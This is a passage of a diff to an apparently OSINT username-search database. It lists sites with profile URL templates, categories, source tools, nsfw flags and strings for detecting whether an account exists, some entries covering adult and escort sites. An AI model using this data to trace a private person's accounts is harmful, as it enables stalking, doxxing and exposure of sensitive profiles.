"error_type": "redirection" + }, + { + "name": "aflam", + "url": "https://www.aflam4you.net/profile.html?u={}", + "category": "other", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "Plz Visit", + "match_code": 200, + "match_string": ") on \u0628\u062b \u062d\u064a \u0648 \u0645\u0628\u0627\u0634\u0631" + }, + { + "name": "AfreecaTV", + "url": "http://bjapi.afreecatv.com/api/{}/station", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Blog does not exist.", + "match_string": "profile_text" + }, + { + "name": "afsoc.ucoz.ru", + "url": "http://afsoc.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Afterellen", + "url": "https://forums.afterellen.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "AG", + "url": "https://ag.ru/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "profile-head__name__single-word__name\"></div></div></h1></div>" + }, + { + "name": "Agniyogaineverydaylife_CLOSEDEAD", + "url": "http://agniyogaineverydaylife.bestforums.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Agro", + "url": "https://agro-ua.org.ua/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "ahera.ru", + "url": "http://ahera.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aikido-mariupol.ucoz.ru", + "url": "http://aikido-mariupol.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airbit", + "url": "https://airbit.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airline_Pilot_Life", + "url": "https://airlinepilot.life/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "he requested URL or resource could not be found.", + "match_code": 200, + "match_string": "primary_group_name" + }, + { + "name": "airlinepilot.life", + "url": "https://airlinepilot.life/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airliners", + "url": "https://www.airliners.net/user/{}/profile/photos", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airliners", + "url": "https://www.airliners.net/user/{}/profile", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "An Error Occurred", + "match_code": 200, + "match_string": "'s Profile | Airliners Members | Airliners.net" + }, + { + "name": "Airliners", + "url": "https://airliners.net/user/{}/profile/photos", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-follower-button" + }, + { + "name": "Akbrny", + "url": "https://akbrny.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-social" + }, + { + "name": "Akforum", + "url": "https://akforum.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "akniga", + "url": "https://akniga.org/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aktualno.lv", + "url": "http://aktualno.lv/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alabay", + "url": "https://alabay.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Albicla", + "url": "https://albicla.com/{}/post/1", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "404 Nie znaleziono u\u017cytkownika", + "match_code": 500, + "match_string": "500 Post tymczasowo niedost\u0119pny" + }, + { + "name": "aleks2.ru", + "url": "http://aleks2.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alexgyver", + "url": "https://community.alexgyver.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alexgyver", + "url": "https://community.alexgyver.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "algowiki-project.org", + "url": "https://algowiki-project.org/en/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ali213", + "url": "https://game.ali213.net/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Aliensoup", + "url": "https://aliensoup.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aliensoup.com", + "url": "https://aliensoup.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alik", + "url": "https://www.alik.cz/u/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Vizitka nenalezena", + "match_code": 200, + "match_string": "Vizitka \u2013 Al\u00edk.cz" + }, + { + "name": "Alik", + "url": "https://alik.cz/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-" + }, + { + "name": "alikgor.at.ua", + "url": "http://alikgor.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alimero.ru", + "url": "https://alimero.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "alisaclub.ru", + "url": "http://alisaclub.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aliveshoes", + "url": "https://aliveshoes.com/brand/{}", + "category": "shopping", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "og:title" + }, + { + "name": "alka-mine.at.ua", + "url": "http://alka-mine.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "All Things Worn", + "url": "https://www.allthingsworn.com/profile/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Sell Used Panties" + }, + { + "name": "all-gta.info", + "url": "http://all-gta.info/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "All-mods", + "url": "https://all-mods.ru/author/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AllegroSeller", + "url": "https://allegro.pl/uzytkownik/{}_pl/sklep", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "geo.captcha-delivery.com" + }, + { + "name": "allesovercrypto", + "url": "https://allesovercrypto.nl/user/{}", + "category": "finance", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "De opgevraagde pagina kon niet gevonden worden.", + "match_code": 200, + "match_string": "Favoriete coins" + }, + { + "name": "Alleywatch", + "url": "https://alleywatch.com/profile/{}/", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "author-photo" + }, + { + "name": "allgaz", + "url": "https://forum.allgaz.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allhockey", + "url": "https://allhockey.ru/blog/{}", + "category": "sports", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alliance-prod", + "url": "https://alliance-prod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "alliedmods", + "url": "https://forums.alliedmods.net//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AllKPop", + "url": "https://www.allkpop.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "allmobile.vo.uz", + "url": "http://allmobile.vo.uz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "allmus.ucoz.ru", + "url": "http://allmus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "allmylinks", + "url": "https://allmylinks.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Alloannonces", + "url": "https://www.alloannonces.ma/{}/", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page non defini", + "match_code": 200, + "match_string": "Vendeurs/Agents" + }, + { + "name": "Allods", + "url": "https://allods.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allods", + "url": "https://forum.allods.ru/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "AllRecipes", + "url": "https://www.allrecipes.com/cook/{}", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found.", + "match_string": "Saved Items & Collections" + }, + { + "name": "AllTheLyrics", + "url": "https://www.allthelyrics.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allthelyrics", + "url": "https://www.allthelyrics.com/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "AllTheSoft", + "url": "http://www.allthesoft.com/member/{}.html", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allthingsworn", + "url": "https://allthingsworn.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "profileOptions" + }, + { + "name": "AllTrails", + "url": "https://www.alltrails.com/members/{}", + "category": "sports", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "You are being", + "match_string": "Profile" + }, + { + "name": "Alltrails", + "url": "https://alltrails.com/members/{}", + "category": "sports", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "User could not be found", + "match_string": "Member Since" + }, + { + "name": "Alltrails", + "url": "https://www.alltrails.com/members/{}/lists", + "category": "sports", + "source": "nexfil", + "nsfw": false + }, + { + "name": "alpanf.ucoz.ru", + "url": "http://alpanf.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alpmsu", + "url": "https://www.alpmsu.ru/forum/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "AlternativeTo", + "url": "https://alternativeto.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404: This page could not be found" + }, + { + "name": "Alura", + "url": "https://cursos.alura.com.br/user/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"Not Found\"", + "match_code": 200, + "match_string": "Perfil de" + }, + { + "name": "Alushta24", + "url": "https://alushta24.org/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "amateurvoyeurforum.com", + "url": "https://www.amateurvoyeurforum.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "amax-sb.ru", + "url": "http://amax-sb.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amazfitwatchfaces", + "url": "https://amazfitwatchfaces.com/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Server error" + }, + { + "name": "Amazon", + "url": "https://amazon.com/author/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry! We couldn't find that page", + "match_string": "authorName" + }, + { + "name": "Ameba", + "url": "https://profile.ameba.jp/ameba/{}/", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ameblo", + "url": "https://ameblo.jp/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "THROW_NOT_FOUND_EXCEPTION", + "match_string": "profile" + }, + { + "name": "Americanthinker", + "url": "https://www.americanthinker.com/author/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>American Thinker", + "match_string": "Articles:" + }, + { + "name": "aminoapp", + "url": "https://aminoapps.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aminus3", + "url": "https://{}.aminus3.com/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Expires", + "match_string": "image/ico" + }, + { + "name": "Amirite", + "url": "https://www.amirite.com/user/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "amp.flipboard.com", + "url": "https://amp.flipboard.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amperka", + "url": "http://forum.amperka.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amplitude", + "url": "https://community.amplitude-studios.com/profile/{}/rewards", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "{}", + "match_string": "og:site_name" + }, + { + "name": "Anobii", + "url": "https://anobii.com/{}/profile", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "No route found for", + "match_string": "profile-" + }, + { + "name": "Anonup", + "url": "https://anonup.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found!", + "match_string": "Following" + }, + { + "name": "Anphabe", + "url": "https://anphabe.com/profile/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile/{username}" + }, + { + "name": "anschula.ucoz.ru", + "url": "http://anschula.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "antalya.ucoz.ru", + "url": "http://antalya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antichat", + "url": "https://forum.antichat.ru//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antichat", + "url": "https://forum.antichat.club/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "antihack.ucoz.net", + "url": "http://antihack.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antipunk", + "url": "https://antipunk.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antique-bottles", + "url": "https://www.antique-bottles.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiquers", + "url": "https://www.antiquers.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiquers", + "url": "https://www.antiquers.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Antiscam", + "url": "https://antiscam.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "antiscam.space", + "url": "https://antiscam.space/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "antivirus.moy.su", + "url": "http://antivirus.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiwomen", + "url": "https://antiwomen.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "antizombie.ucoz.ru", + "url": "http://antizombie.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antwiki", + "url": "https://antwiki.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Ap-pro", + "url": "https://ap-pro.ru/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/{}", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 - Page Not Found", + "match_string": "Profile" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/{}/", + "category": "video", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/api/fa/v1/user/user/information/username/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class=\"error-body\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "APClips", + "url": "https://apclips.com/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Amateur Porn Content Creators" + }, + { + "name": "apelmon.od.ua", + "url": "http://apelmon.od.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Apex Legends", + "url": "https://api.tracker.gg/api/v2/apex/standard/profile/origin/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "CollectorResultStatus::NotFound", + "match_code": 200, + "match_string": "platformInfo" + }, + { + "name": "ApexLegends", + "url": "https://apex.tracker.gg/apex/profile/origin/{}/overview", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "PLAYER NOT FOUND", + "match_string": "Overview" + }, + { + "name": "Aphrodite Agency (Europe)", + "url": "https://www.aphrodite-agency.com/en/models/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "meet high class escorts", + "match_string": "more about" + }, + { + "name": "Apne", + "url": "https://apne.co/member/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "userdetails" + }, + { + "name": "App", + "url": "https://app.realunify.com/users/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "app.airnfts.com", + "url": "https://app.airnfts.com/creators/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user-not-found-div", + "match_string": "username" + }, + { + "name": "app.clan.su", + "url": "http://app.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "app.samsungfood.com", + "url": "https://app.samsungfood.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">User not found
", + "match_string": "alternateName" + }, + { + "name": "Appearoo", + "url": "http://appearoo.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Appian", + "url": "https://community.appian.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Working...
\u0412 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "Aptoide", + "url": "https://{}.en.aptoide.com/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "BreadcrumbList" + }, + { + "name": "AptoideAPP", + "url": "https://{}.en.aptoide.com/app", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"noindex, nofollow\"/>Error 404", + "match_string": ">Profile" + }, + { + "name": "Archive_predistoria", + "url": "http://archive.predistoria.org/index.php?name=Forums&file=profile&mode=viewprofile&u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "ArchiveOfOurOwn", + "url": "https://archiveofourown.org/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Archives", + "url": "https://archives.bulbagarden.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Archlinux", + "url": "https://archlinux.org.ru/forum/users/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ArchWiki", + "url": "https://wiki.archlinux.org/api.php?action=query&format=json&list=users&ususers={}&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=en", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"missing\":true", + "match_code": 200, + "match_string": "\"userid\":" + }, + { + "name": "Arcolinuxforum", + "url": "https://arcolinuxforum.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Information" + }, + { + "name": "Arduino", + "url": "https://projecthub.arduino.cc/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Arduino Project Hub", + "match_string": "Arduino Project Hub" + }, + { + "name": "Arduino (Forum)", + "url": "https://forum.arduino.cc/u/{}.json", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error_type\":\"not_found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Arduino Forum", + "url": "https://forum.arduino.cc/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "are.na", + "url": "https://www.are.na/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Are.na home", + "match_string": "Profile--view" + }, + { + "name": "AreKamrbb", + "url": "https://are.kamrbb.ru/?x=find&f={}#top", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441.." + }, + { + "name": "Arhrock", + "url": "https://arhrock.info/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "aribut.ru", + "url": "http://aribut.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ariva", + "url": "https://www.ariva.de/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armavir", + "url": "http://phorum.armavir.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Armchairgm", + "url": "https://armchairgm.fandom.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armorgames", + "url": "https://armorgames.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Armtorg", + "url": "https://armtorg.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "Army", + "url": "https://army.ca/forums/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "army-rus.ucoz.ru", + "url": "http://army-rus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "armyboots.ucoz.ru", + "url": "http://armyboots.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armycarus", + "url": "http://armycarus.do.am/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Arrse", + "url": "https://www.arrse.co.uk//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Arrse", + "url": "https://www.arrse.co.uk/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Arsenal-mania", + "url": "https://arsenal-mania.com/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Arsmate", + "url": "https://arsmate.com/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "error-link mt-5", + "match_code": 200, + "match_string": "far fa-user-circle mr-1" + }, + { + "name": "Arstechnica", + "url": "https://arstechnica.com/civis/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "arstechnica", + "url": "https://arstechnica.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "art-color.my1.ru", + "url": "http://art-color.my1.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "art-nata.my1.ru", + "url": "http://art-nata.my1.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ArtBreeder", + "url": "https://www.artbreeder.com/{}", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not found:", + "match_code": 200, + "match_string": "" + }, + { + "name": "artfol.me", + "url": "https://artfol.me/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user does not exist", + "match_string": "About" + }, + { + "name": "artinvestment", + "url": "https://forum.artinvestment.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artist", + "url": "https://artist.ru/user/{}/", + 